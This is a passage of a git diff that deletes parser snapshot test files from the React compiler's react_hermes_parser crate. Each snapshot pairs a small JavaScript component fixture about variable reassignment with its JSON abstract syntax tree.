-                          "name": "length",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            106,
-                            112
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          100,
-                          112
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          115,
-                          116
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        100,
-                        116
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    96,
-                    117
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  88,
-                  117
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              82,
-              118
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      131,
-                      136
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      131,
-                      136
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    131,
-                    136
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "count",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      138,
-                      143
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "count",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      138,
-                      143
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    138,
-                    143
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                129,
-                145
-              ]
-            },
-            "loc": null,
-            "range": [
-              122,
-              146
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          148
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        148
-      ],
-      "loc": null,
-      "range": [
-        0,
-        148
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    148
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassign-object-in-context.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassign-object-in-context.js.snap
deleted file mode 100644
index 9f353ec96081..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassign-object-in-context.js.snap
+++ /dev/null
@@ -1,253 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reassign-object-in-context.js
----
-Input:
-function Component(props) {
-  let x = [];
-  let foo = () => {
-    x = {};
-  };
-  foo();
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              66,
-                              67
-                            ]
-                          },
-                          "right": {
-                            "type": "ObjectExpression",
-                            "properties": [],
-                            "loc": null,
-                            "range": [
-                              70,
-                              72
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            66,
-                            72
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          66,
-                          73
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      60,
-                      77
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    54,
-                    77
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    54,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  48,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              78
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  81,
-                  84
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                81,
-                86
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              81,
-              87
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                97,
-                98
-              ]
-            },
-            "loc": null,
-            "range": [
-              90,
-              99
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          101
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        101
-      ],
-      "loc": null,
-      "range": [
-        0,
-        101
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    101
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassign-primitive-in-context.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassign-primitive-in-context.js.snap
deleted file mode 100644
index 538f83255629..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassign-primitive-in-context.js.snap
+++ /dev/null
@@ -1,253 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reassign-primitive-in-context.js
----
-Input:
-function Component(props) {
-  let x = 5;
-  let foo = () => {
-    x = {};
-  };
-  foo();
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 5.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    50
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              65,
-                              66
-                            ]
-                          },
-                          "right": {
-                            "type": "ObjectExpression",
-                            "properties": [],
-                            "loc": null,
-                            "range": [
-                              69,
-                              71
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            65,
-                            71
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          72
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      59,
-                      76
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    53,
-                    76
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    53,
-                    76
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  76
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              77
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  80,
-                  83
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                80,
-                85
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              80,
-              86
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                96,
-                97
-              ]
-            },
-            "loc": null,
-            "range": [
-              89,
-              98
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          100
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        100
-      ],
-      "loc": null,
-      "range": [
-        0,
-        100
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    100
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassigned-phi-in-returned-function-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassigned-phi-in-returned-function-expression.js.snap
deleted file mode 100644
index 310025f3c76a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassigned-phi-in-returned-function-expression.js.snap
+++ /dev/null
@@ -1,372 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reassigned-phi-in-returned-function-expression.js
----
-Input:
-function Component(props) {
-  return () => {
-    let str;
-    if (arguments.length) {
-      str = arguments[0];
-    } else {
-      str = props.str;
-    }
-    global.log(str);
-  };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrowFunctionExpression",
-              "id": null,
-              "params": [],
-              "body": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "VariableDeclaration",
-                    "kind": "let",
-                    "declarations": [
-                      {
-                        "type": "VariableDeclarator",
-                        "id": {
-                          "type": "Identifier",
-                          "name": "str",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            53,
-                            56
-                          ]
-                        },
-                        "init": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          56
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      49,
-                      57
-                    ]
-                  },
-                  {
-                    "type": "IfStatement",
-                    "test": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "arguments",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          66,
-                          75
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "length",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          82
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        66,
-                        82
-                      ]
-                    },
-                    "consequent": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "str",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                92,
-                                95
-                              ]
-                            },
-                            "right": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "arguments",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  98,
-                                  107
-                                ]
-                              },
-                              "property": {
-                                "type": "NumericLiteral",
-                                "value": 0.0,
-                                "loc": null,
-                                "range": [
-                                  108,
-                                  109
-                                ]
-                              },
-                              "computed": true,
-                              "loc": null,
-                              "range": [
-                                98,
-                                110
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              92,
-                              110
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            92,
-                            111
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        84,
-                        117
-                      ]
-                    },
-                    "alternate": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "str",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                131,
-                                134
-                              ]
-                            },
-                            "right": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  137,
-                                  142
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "str",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  143,
-                                  146
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                137,
-                                146
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              131,
-                              146
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            131,
-                            147
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        123,
-                        153
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      62,
-                      153
-                    ]
-                  },
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "global",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            158,
-                            164
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "log",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            165,
-                            168
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          158,
-                          168
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "str",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            169,
-                            172
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        158,
-                        173
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      158,
-                      174
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  43,
-                  178
-                ]
-              },
-              "generator": false,
-              "async": false,
-              "loc": null,
-              "range": [
-                37,
-                178
-              ],
-              "expression": false,
-              "loc": null,
-              "range": [
-                37,
-                178
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              179
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          181
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        181
-      ],
-      "loc": null,
-      "range": [
-        0,
-        181
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    181
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment-conditional.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment-conditional.js.snap
deleted file mode 100644
index 556a2ce9be33..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment-conditional.js.snap
+++ /dev/null
@@ -1,504 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reassignment-conditional.js
----
-Input:
-function Component(props) {
-  let x = [];
-  x.push(props.p0);
-  let y = x;
-
-  if (props.p1) {
-    x = [];
-  }
-
-  y.push(props.p2);
-
-  return <Component x={x} y={y} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    50
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  44,
-                  50
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      56
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p0",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      57,
-                      59
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    59
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                44,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              44,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  68,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              74
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  82,
-                  87
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "p1",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  88,
-                  90
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                82,
-                90
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        98,
-                        99
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        102,
-                        104
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      98,
-                      104
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    98,
-                    105
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                92,
-                109
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              78,
-              109
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    113,
-                    114
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    115,
-                    119
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  113,
-                  119
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      120,
-                      125
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p2",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      126,
-                      128
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    120,
-                    128
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                113,
-                129
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              113,
-              130
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    142,
-                    151
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "x",
-                      "loc": null,
-                      "range": [
-                        152,
-                        153
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          155,
-                          156
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        154,
-                        157
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      152,
-                      157
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "y",
-                      "loc": null,
-                      "range": [
-                        158,
-                        159
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          161,
-                          162
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        160,
-                        163
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      158,
-                      163
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  141,
-                  166
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                141,
-                166
-              ]
-            },
-            "loc": null,
-            "range": [
-              134,
-              167
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          169
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        169
-      ],
-      "loc": null,
-      "range": [
-        0,
-        169
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    169
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment-separate-scopes.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment-separate-scopes.js.snap
deleted file mode 100644
index b77177d50555..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment-separate-scopes.js.snap
+++ /dev/null
@@ -1,719 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reassignment-separate-scopes.js
----
-Input:
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    x.push(a);
-  }
-  let y = <div>{x}</div>;
-
-  switch (b) {
-    case 0: {
-      x = [];
-      x.push(b);
-      break;
-    }
-    default: {
-      x = [];
-      x.push(c);
-    }
-  }
-  return (
-    <div>
-      {y}
-      {x}
-    </div>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    34,
-                    36
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  36
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              37
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                44,
-                45
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          54
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          55,
-                          59
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        53,
-                        59
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          61
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      53,
-                      62
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    63
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                67
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              40,
-              67
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    75
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
